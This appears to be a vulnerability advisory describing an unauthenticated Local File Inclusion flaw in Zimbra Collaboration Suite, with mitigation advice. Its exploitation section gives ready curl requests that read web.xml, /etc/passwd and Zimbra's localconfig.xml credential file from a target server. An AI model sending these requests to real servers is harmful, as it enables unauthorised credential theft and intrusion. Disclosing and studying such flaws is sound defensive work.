📌 Overview

This document describes a Local File Inclusion (LFI) vulnerability affecting Zimbra Collaboration Suite.

The issue arises from improper handling of the following parameter:

/h/*?javax.servlet.include.servlet_path=

This allows an unauthenticated user to access internal application resources.

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🔍 Vulnerability Details

• Type: Local File Inclusion (LFI)
• Access: Unauthenticated
• Affected Component: Webmail (Classic UI)
• Attack Vector: HTTP request manipulation

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🧪 Initial Verification

Test request:

curl -k "https://TARGET/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

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▶️ Demo:

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✅ Result

• Internal file successfully retrieved
• Confirms improper input handling

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⚙️ Endpoint Behavior

Multiple endpoints process the vulnerable parameter differently.

Example:

/h/printcalendar?javax.servlet.include.servlet_path=...

Observations:

• More consistent file access behavior
• Better response reliability compared to /h/rest

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🚧 TLS Consideration

Issue

SSL: certificate subject name does not match target host

Workaround

curl -k "https://TARGET/..."

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🚀 Exploitation Examples

📂 Access Internal Web Resource

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

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📂 Attempt System File Access

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/etc/passwd"

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🔐 Access Application Configuration

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml"

Potential Exposure:

• Service credentials
• Internal configuration
• Infrastructure details

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🧠 Impact

Successful exploitation may lead to:

• Disclosure of sensitive configuration files
• Exposure of internal services and architecture
• Credential leakage
• Increased risk of further compromise

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🛡️ Mitigation

• Update Zimbra to patched versions

• Restrict access to vulnerable endpoints

• Monitor logs for suspicious parameters:

  • javax.servlet.include.servlet_path

• Deploy WAF rules to block malicious patterns

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💡 Key Takeaways

• Input validation failures can expose internal resources
• Different endpoints may behave inconsistently
• Configuration files often contain critical information
• Early detection significantly reduces risk

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🏴 Conclusion

• Vulnerability confirmed: CVE-2025-68645
• Exploitation allows unauthorized file access
• Immediate remediation is strongly recommended

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